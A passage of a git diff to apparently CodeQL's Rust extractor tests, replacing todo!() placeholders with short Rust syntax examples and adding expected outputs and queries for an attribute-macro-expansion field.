gen_assoc_type_arg.rs:9:21:9:31 | AssocTypeArg | gen_assoc_type_arg.rs:9:27:9:31 | TypeBoundList | diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs b/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs index 9f7bb10a69ae..725c1ecce63e 100644 --- a/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs +++ b/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs @@ -1,6 +1,14 @@ // generated by codegen, do not edit fn test_assoc_type_arg() -> () { - // A AssocTypeArg. For example: - todo!() + // An associated type argument in a path. + // + // For example: + fn process_cloneable(iter: T) + where + T: Iterator + // ^^^^^^^^^^^ + { + // ... + } } diff --git a/rust/ql/test/extractor-tests/generated/Attr/Attr.expected b/rust/ql/test/extractor-tests/generated/Attr/Attr.expected index e69de29bb2d1..e0c63af7678e 100644 --- a/rust/ql/test/extractor-tests/generated/Attr/Attr.expected +++ b/rust/ql/test/extractor-tests/generated/Attr/Attr.expected @@ -0,0 +1 @@ +| gen_attr.rs:7:5:7:20 | Attr | hasMeta: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Attr/Attr_getMeta.expected b/rust/ql/test/extractor-tests/generated/Attr/Attr_getMeta.expected index e69de29bb2d1..8b7c87927b29 100644 --- a/rust/ql/test/extractor-tests/generated/Attr/Attr_getMeta.expected +++ b/rust/ql/test/extractor-tests/generated/Attr/Attr_getMeta.expected @@ -0,0 +1 @@ +| gen_attr.rs:7:5:7:20 | Attr | gen_attr.rs:7:7:7:19 | Meta | diff --git a/rust/ql/test/extractor-tests/generated/Attr/gen_attr.rs b/rust/ql/test/extractor-tests/generated/Attr/gen_attr.rs index c028915cabf7..a0a42bdf5fe7 100644 --- a/rust/ql/test/extractor-tests/generated/Attr/gen_attr.rs +++ b/rust/ql/test/extractor-tests/generated/Attr/gen_attr.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_attr() -> () { - // A Attr. For example: - todo!() + // An attribute applied to an item. + // + // For example: + #[derive(Debug)] + //^^^^^^^^^^^^^ + struct S; } diff --git a/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs b/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs index a924e2f61689..6328368c5e17 100644 --- a/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs +++ b/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs @@ -1,6 +1,14 @@ // generated by codegen, do not edit fn test_closure_binder() -> () { - // A ClosureBinder. For example: - todo!() + // A closure binder, specifying lifetime or type parameters for a closure. + // + // For example: + let print_any = for |x: T| { + // ^^^^^^^^^^^^^^^^^^^^^^^ + println!("{:?}", x); + }; + + print_any(42); + print_any("hello"); } diff --git a/rust/ql/test/extractor-tests/generated/Const/Const.expected b/rust/ql/test/extractor-tests/generated/Const/Const.expected index e69de29bb2d1..4f4863338730 100644 --- a/rust/ql/test/extractor-tests/generated/Const/Const.expected +++ b/rust/ql/test/extractor-tests/generated/Const/Const.expected @@ -0,0 +1 @@ +| gen_const.rs:4:5:7:22 | Const | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasBody: | yes | isConst: | yes | isDefault: | no | hasName: | yes | hasTypeRepr: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/Const/Const.ql b/rust/ql/test/extractor-tests/generated/Const/Const.ql index f1509aac3689..dee1c6dada40 100644 --- a/rust/ql/test/extractor-tests/generated/Const/Const.ql +++ b/rust/ql/test/extractor-tests/generated/Const/Const.ql @@ -3,9 +3,9 @@ import codeql.rust.elements import TestUtils from - Const x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasBody, string isConst, string isDefault, string hasName, string hasTypeRepr, - string hasVisibility + Const x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, int getNumberOfAttrs, string hasBody, string isConst, + string isDefault, string hasName, string hasTypeRepr, string hasVisibility where toBeTested(x) and not x.isUnknown() and @@ -15,6 +15,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasBody() then hasBody = "yes" else hasBody = "no") and (if x.isConst() then isConst = "yes" else isConst = "no") and @@ -23,5 +28,6 @@ where (if x.hasTypeRepr() then hasTypeRepr = "yes" else hasTypeRepr = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasBody:", hasBody, "isConst:", isConst, "isDefault:", - isDefault, "hasName:", hasName, "hasTypeRepr:", hasTypeRepr, "hasVisibility:", hasVisibility + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasBody:", hasBody, "isConst:", isConst, "isDefault:", isDefault, "hasName:", hasName, + "hasTypeRepr:", hasTypeRepr, "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/Const/Const_getAttributeMacroExpansion.expected b/rust/ql/test/extractor-tests/generated/Const/Const_getAttributeMacroExpansion.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/Const/Const_getAttributeMacroExpansion.ql b/rust/ql/test/extractor-tests/generated/Const/Const_getAttributeMacroExpansion.ql new file mode 100644 index 000000000000..4056751f9726 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Const/Const_getAttributeMacroExpansion.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Const x +where toBeTested(x) and not x.isUnknown() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/Const/Const_getBody.expected b/rust/ql/test/extractor-tests/generated/Const/Const_getBody.expected index e69de29bb2d1..e6653a26b918 100644 --- a/rust/ql/test/extractor-tests/generated/Const/Const_getBody.expected +++ b/rust/ql/test/extractor-tests/generated/Const/Const_getBody.expected @@ -0,0 +1 @@ +| gen_const.rs:4:5:7:22 | Const | gen_const.rs:7:20:7:21 | 42 | diff --git a/rust/ql/test/extractor-tests/generated/Const/Const_getName.expected b/rust/ql/test/extractor-tests/generated/Const/Const_getName.expected index e69de29bb2d1..e0c9ac085543 100644 --- a/rust/ql/test/extractor-tests/generated/Const/Const_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Const/Const_getName.expected @@ -0,0 +1 @@ +| gen_const.rs:4:5:7:22 | Const | gen_const.rs:7:11:7:11 | X | diff --git a/rust/ql/test/extractor-tests/generated/Const/Const_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/Const/Const_getTypeRepr.expected index e69de29bb2d1..dde3546336aa 100644 --- a/rust/ql/test/extractor-tests/generated/Const/Const_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/Const/Const_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_const.rs:4:5:7:22 | Const | gen_const.rs:7:14:7:16 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/Const/gen_const.rs b/rust/ql/test/extractor-tests/generated/Const/gen_const.rs index 32c17ef6c2bd..cb343a3b64c8 100644 --- a/rust/ql/test/extractor-tests/generated/Const/gen_const.rs +++ b/rust/ql/test/extractor-tests/generated/Const/gen_const.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_const() -> () { - // A Const. For example: - todo!() + // A constant item declaration. + // + // For example: + const X: i32 = 42; } diff --git a/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg.expected b/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg.expected index e69de29bb2d1..56a3b5946fa9 100644 --- a/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg.expected +++ b/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg.expected @@ -0,0 +1 @@ +| gen_const_arg.rs:7:11:7:11 | ConstArg | hasExpr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg_getExpr.expected b/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg_getExpr.expected index e69de29bb2d1..c26632a25e76 100644 --- a/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg_getExpr.expected +++ b/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg_getExpr.expected @@ -0,0 +1 @@ +| gen_const_arg.rs:7:11:7:11 | ConstArg | gen_const_arg.rs:7:11:7:11 | 3 | diff --git a/rust/ql/test/extractor-tests/generated/ConstArg/gen_const_arg.rs b/rust/ql/test/extractor-tests/generated/ConstArg/gen_const_arg.rs index ac9bd5d15515..aab4e0d30d43 100644 --- a/rust/ql/test/extractor-tests/generated/ConstArg/gen_const_arg.rs +++ b/rust/ql/test/extractor-tests/generated/ConstArg/gen_const_arg.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_const_arg() -> () { - // A ConstArg. For example: - todo!() + // A constant argument in a generic argument list. + // + // For example: + Foo::<3> + // ^ } diff --git a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam.expected b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam.expected index e69de29bb2d1..9632fea6dd54 100644 --- a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam.expected +++ b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam.expected @@ -0,0 +1 @@ +| gen_const_param.rs:7:17:7:30 | ConstParam | getNumberOfAttrs: | 0 | hasDefaultVal: | no | isConst: | yes | hasName: | yes | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getName.expected b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getName.expected index e69de29bb2d1..65eb953a20b1 100644 --- a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getName.expected +++ b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getName.expected @@ -0,0 +1 @@ +| gen_const_param.rs:7:17:7:30 | ConstParam | gen_const_param.rs:7:23:7:23 | N | diff --git a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getTypeRepr.expected index e69de29bb2d1..5a96f2d3ad6d 100644 --- a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_const_param.rs:7:17:7:30 | ConstParam | gen_const_param.rs:7:26:7:30 | usize | diff --git a/rust/ql/test/extractor-tests/generated/ConstParam/gen_const_param.rs b/rust/ql/test/extractor-tests/generated/ConstParam/gen_const_param.rs index c0e3388f3e9f..7dd745ddad30 100644 --- a/rust/ql/test/extractor-tests/generated/ConstParam/gen_const_param.rs +++ b/rust/ql/test/extractor-tests/generated/ConstParam/gen_const_param.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_const_param() -> () { - // A ConstParam. For example: - todo!() + // A constant parameter in a generic parameter list. + // + // For example: + struct Foo ; + // ^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr.expected b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr.expected index e69de29bb2d1..af1df824814b 100644 --- a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr.expected @@ -0,0 +1 @@ +| gen_dyn_trait_type_repr.rs:7:13:7:21 | DynTraitTypeRepr | hasTypeBoundList: | yes | diff --git a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.expected b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.expected index e69de29bb2d1..63b58d830c1e 100644 --- a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.expected @@ -0,0 +1 @@ +| gen_dyn_trait_type_repr.rs:7:13:7:21 | DynTraitTypeRepr | gen_dyn_trait_type_repr.rs:7:17:7:21 | TypeBoundList | diff --git a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/gen_dyn_trait_type_repr.rs b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/gen_dyn_trait_type_repr.rs index 24d4fec81e46..063b3ac95546 100644 --- a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/gen_dyn_trait_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/gen_dyn_trait_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_dyn_trait_type_repr() -> () { - // A DynTraitTypeRepr. For example: - todo!() + // A dynamic trait object type. + // + // For example: + let x: &dyn Debug; + // ^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Enum/Enum.expected b/rust/ql/test/extractor-tests/generated/Enum/Enum.expected index e69de29bb2d1..02547a2400ee 100644 --- a/rust/ql/test/extractor-tests/generated/Enum/Enum.expected +++ b/rust/ql/test/extractor-tests/generated/Enum/Enum.expected @@ -0,0 +1 @@ +| gen_enum.rs:4:5:7:34 | enum E | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | hasName: | yes | hasVariantList: | yes | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/Enum/Enum.ql b/rust/ql/test/extractor-tests/generated/Enum/Enum.ql index 3468056c072b..e6639d783d27 100644 --- a/rust/ql/test/extractor-tests/generated/Enum/Enum.ql +++ b/rust/ql/test/extractor-tests/generated/Enum/Enum.ql @@ -3,9 +3,9 @@ import codeql.rust.elements import TestUtils from - Enum x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasGenericParamList, string hasName, string hasVariantList, string hasVisibility, - string hasWhereClause + Enum x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasAttributeMacroExpansion, + int getNumberOfAttrs, string hasGenericParamList, string hasName, string hasVariantList, + string hasVisibility, string hasWhereClause where toBeTested(x) and not x.isUnknown() and @@ -15,6 +15,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and (if x.hasName() then hasName = "yes" else hasName = "no") and @@ -22,6 +27,6 @@ where (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasGenericParamList:", hasGenericParamList, "hasName:", - hasName, "hasVariantList:", hasVariantList, "hasVisibility:", hasVisibility, "hasWhereClause:", - hasWhereClause + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasGenericParamList:", hasGenericParamList, "hasName:", hasName, "hasVariantList:", + hasVariantList, "hasVisibility:", hasVisibility, "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/Enum/Enum_getAttributeMacroExpansion.expected b/rust/ql/test/extractor-tests/generated/Enum/Enum_getAttributeMacroExpansion.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/Enum/Enum_getAttributeMacroExpansion.ql b/rust/ql/test/extractor-tests/generated/Enum/Enum_getAttributeMacroExpansion.ql new file mode 100644 index 000000000000..6f0623348c4c --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Enum/Enum_getAttributeMacroExpansion.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Enum x +where toBeTested(x) and not x.isUnknown() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/Enum/Enum_getName.expected b/rust/ql/test/extractor-tests/generated/Enum/Enum_getName.expected index e69de29bb2d1..0e5f3660d5ee 100644 --- a/rust/ql/test/extractor-tests/generated/Enum/Enum_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Enum/Enum_getName.expected @@ -0,0 +1 @@ +| gen_enum.rs:4:5:7:34 | enum E | gen_enum.rs:7:10:7:10 | E | diff --git a/rust/ql/test/extractor-tests/generated/Enum/Enum_getVariantList.expected b/rust/ql/test/extractor-tests/generated/Enum/Enum_getVariantList.expected index e69de29bb2d1..4827f814fac6 100644 --- a/rust/ql/test/extractor-tests/generated/Enum/Enum_getVariantList.expected +++ b/rust/ql/test/extractor-tests/generated/Enum/Enum_getVariantList.expected @@ -0,0 +1 @@ +| gen_enum.rs:4:5:7:34 | enum E | gen_enum.rs:7:12:7:34 | VariantList | diff --git a/rust/ql/test/extractor-tests/generated/Enum/gen_enum.rs b/rust/ql/test/extractor-tests/generated/Enum/gen_enum.rs index 0711920e4ca0..5bb7f774cf08 100644 --- a/rust/ql/test/extractor-tests/generated/Enum/gen_enum.rs +++ b/rust/ql/test/extractor-tests/generated/Enum/gen_enum.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_enum() -> () { - // A Enum. For example: - todo!() + // An enum declaration. + // + // For example: + enum E {A, B(i32), C {x: i32}} } diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.expected b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.expected index e69de29bb2d1..9c06abfad701 100644 --- a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.expected +++ b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.expected @@ -0,0 +1 @@ +| gen_extern_block.rs:7:5:9:5 | ExternBlock | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | hasAbi: | yes | getNumberOfAttrs: | 0 | hasExternItemList: | yes | isUnsafe: | no | diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.ql b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.ql index 3d58a4714123..e7ef0f90fe93 100644 --- a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.ql +++ b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.ql @@ -3,8 +3,9 @@ import codeql.rust.elements import TestUtils from - ExternBlock x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasAbi, - int getNumberOfAttrs, string hasExternItemList, string isUnsafe + ExternBlock x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, string hasAbi, int getNumberOfAttrs, string hasExternItemList, + string isUnsafe where toBeTested(x) and not x.isUnknown() and @@ -14,10 +15,15 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and (if x.hasAbi() then hasAbi = "yes" else hasAbi = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasExternItemList() then hasExternItemList = "yes" else hasExternItemList = "no") and if x.isUnsafe() then isUnsafe = "yes" else isUnsafe = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasAbi:", hasAbi, "getNumberOfAttrs:", getNumberOfAttrs, "hasExternItemList:", hasExternItemList, - "isUnsafe:", isUnsafe + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "hasAbi:", hasAbi, "getNumberOfAttrs:", + getNumberOfAttrs, "hasExternItemList:", hasExternItemList, "isUnsafe:", isUnsafe diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAbi.expected b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAbi.expected index e69de29bb2d1..ea8e7797362c 100644 --- a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAbi.expected +++ b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAbi.expected @@ -0,0 +1 @@ +| gen_extern_block.rs:7:5:9:5 | ExternBlock | gen_extern_block.rs:7:5:7:14 | Abi | diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAttributeMacroExpansion.expected b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAttributeMacroExpansion.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAttributeMacroExpansion.ql b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAttributeMacroExpansion.ql new file mode 100644 index 000000000000..f3b6ad363fa9 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAttributeMacroExpansion.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from ExternBlock x +where toBeTested(x) and not x.isUnknown() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.expected b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.expected index e69de29bb2d1..83bb34c61abc 100644 --- a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.expected +++ b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.expected @@ -0,0 +1 @@ +| gen_extern_block.rs:7:5:9:5 | ExternBlock | gen_extern_block.rs:7:16:9:5 | ExternItemList | diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/gen_extern_block.rs b/rust/ql/test/extractor-tests/generated/ExternBlock/gen_extern_block.rs index 8ba8ca6532a4..9c9b28b98bb6 100644 --- a/rust/ql/test/extractor-tests/generated/ExternBlock/gen_extern_block.rs +++ b/rust/ql/test/extractor-tests/generated/ExternBlock/gen_extern_block.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_extern_block() -> () { - // A ExternBlock. For example: - todo!() + // An extern block containing foreign function declarations. + // + // For example: + extern "C" { + fn foo(); + } } diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.expected b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.expected index e69de29bb2d1..f47afb2acb52 100644 --- a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.expected +++ b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.expected @@ -0,0 +1 @@ +| gen_extern_crate.rs:4:5:7:23 | ExternCrate | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasIdentifier: | yes | hasRename: | no | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.ql b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.ql index c8250d86b4b0..cbcfd462473c 100644 --- a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.ql +++ b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.ql @@ -3,8 +3,9 @@ import codeql.rust.elements import TestUtils from - ExternCrate x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasIdentifier, string hasRename, string hasVisibility + ExternCrate x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, int getNumberOfAttrs, string hasIdentifier, string hasRename, + string hasVisibility where toBeTested(x) and not x.isUnknown() and @@ -14,10 +15,15 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no") and (if x.hasRename() then hasRename = "yes" else hasRename = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasIdentifier:", hasIdentifier, "hasRename:", hasRename, - "hasVisibility:", hasVisibility + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasIdentifier:", hasIdentifier, "hasRename:", hasRename, "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getAttributeMacroExpansion.expected b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getAttributeMacroExpansion.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getAttributeMacroExpansion.ql b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getAttributeMacroExpansion.ql new file mode 100644 index 000000000000..0c7c0e8c89dc --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getAttributeMacroExpansion.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from ExternCrate x +where toBeTested(x) and not x.isUnknown() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.expected b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.expected index e69de29bb2d1..3e545d1761da 100644 --- a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.expected +++ b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.expected @@ -0,0 +1 @@ +| gen_extern_crate.rs:4:5:7:23 | ExternCrate | gen_extern_crate.rs:7:18:7:22 | serde | diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/gen_extern_crate.rs b/rust/ql/test/extractor-tests/generated/ExternCrate/gen_extern_crate.rs index 88a4a7e0b9d9..c077457449ab 100644 --- a/rust/ql/test/extractor-tests/generated/ExternCrate/gen_extern_crate.rs +++ b/rust/ql/test/extractor-tests/generated/ExternCrate/gen_extern_crate.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_extern_crate() -> () { - // A ExternCrate. For example: - todo!() + // An extern crate declaration. + // + // For example: + extern crate serde; } diff --git a/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList.expected b/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList.expected index e69de29bb2d1..9cc7190339f5 100644 --- a/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList.expected +++ b/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList.expected @@ -0,0 +1 @@ +| gen_extern_item_list.rs:7:16:10:5 | ExternItemList | getNumberOfAttrs: | 0 | getNumberOfExternItems: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList_getExternItem.expected b/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList_getExternItem.expected index e69de29bb2d1..a1f1b91aca6f 100644 --- a/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList_getExternItem.expected +++ b/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList_getExternItem.expected @@ -0,0 +1,2 @@ +| gen_extern_item_list.rs:7:16:10:5 | ExternItemList | 0 | gen_extern_item_list.rs:8:9:8:17 | fn foo | +| gen_extern_item_list.rs:7:16:10:5 | ExternItemList | 1 | gen_extern_item_list.rs:9:9:9:24 | Static | diff --git a/rust/ql/test/extractor-tests/generated/ExternItemList/gen_extern_item_list.rs b/rust/ql/test/extractor-tests/generated/ExternItemList/gen_extern_item_list.rs index 80577fc78fb0..efc9a7dc92bb 100644 --- a/rust/ql/test/extractor-tests/generated/ExternItemList/gen_extern_item_list.rs +++ b/rust/ql/test/extractor-tests/generated/ExternItemList/gen_extern_item_list.rs @@ -1,6 +1,11 @@ // generated by codegen, do not edit fn test_extern_item_list() -> () { - // A ExternItemList. For example: - todo!() + // A list of items inside an extern block. + // + // For example: + extern "C" { + fn foo(); + static BAR: i32; + } } diff --git a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr.expected b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr.expected index e69de29bb2d1..e70c54798b2c 100644 --- a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr.expected @@ -0,0 +1 @@ +| gen_fn_ptr_type_repr.rs:7:12:7:25 | FnPtrTypeRepr | hasAbi: | no | isAsync: | no | isConst: | no | isUnsafe: | no | hasParamList: | yes | hasRetType: | yes | diff --git 